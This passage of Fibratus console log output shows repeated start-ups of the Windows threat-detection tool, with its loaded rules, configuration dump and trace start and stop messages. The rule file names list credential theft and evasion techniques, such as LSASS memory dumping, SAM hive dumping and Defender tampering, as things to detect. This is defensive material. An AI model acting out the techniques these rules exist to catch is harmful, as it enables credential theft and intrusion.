C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:30:46+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T14:30:46+01:00 level=info msg=bootstrapping with pid 17544. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T14:30:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-mem=>false enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-thread=>true min-buffers=>16 enable-audit-api=>true enable-threadpool=>false enable-net=>true enable-dns=>false buffer-size=>512 enable-fileio=>true stack-enrichment=>true max-buffers=>36 enable-registry=>true enable-handle=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 max-age=>0 formatter=>text log-stdout=>true max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ exchange-type=>topic durable=>false routing-key=>fibratus url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient passive=>false enabled=>false timeout=>5s] elasticsearch=>[ healthcheck-interval=>10s index-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 sniff=>false trace-log=>false template-name=>fibratus timeout=>5s healthcheck=>true enabled=>false flush-period=>1s gzip-compression=>false healthcheck-timeout=>5s] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false timeout=>5s serializer=>json method=>POST enable-gzip=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-files=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[] enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T14:30:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:30:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:31:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T14:31:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:31:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:34:17+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:34:17+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T14:34:17+01:00 level=info msg=bootstrapping with pid 12112. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T14:34:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-mem=>false enable-vamap=>true enable-handle=>false stack-enrichment=>true flush-interval=>1s enable-fileio=>true buffer-size=>512 enable-net=>true enable-threadpool=>false max-buffers=>36 enable-audit-api=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true min-buffers=>16 enable-dns=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true formatter=>text level=>info max-backups=>15 max-age=>0] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-interval=>10s bulk-workers=>1 healthcheck=>true healthcheck-timeout=>5s timeout=>5s enabled=>false flush-period=>1s trace-log=>false sniff=>false template-name=>fibratus] http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false endpoints=>[] timeout=>5s serializer=>json] eventlog=>[ level=>info enabled=>false] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false routing-key=>fibratus durable=>false url=>amqp://localhost:5672 passive=>false timeout=>5s delivery-mode=>transient vhost=>/]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-allocs=>false enabled=>false scan-timeout=>10s skip-registry=>false skip-mmaps=>false skip-files=>false excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-21T14:34:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:34:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:34:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T14:34:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:34:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:37:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T14:37:00+01:00 level=info msg=loading rule from 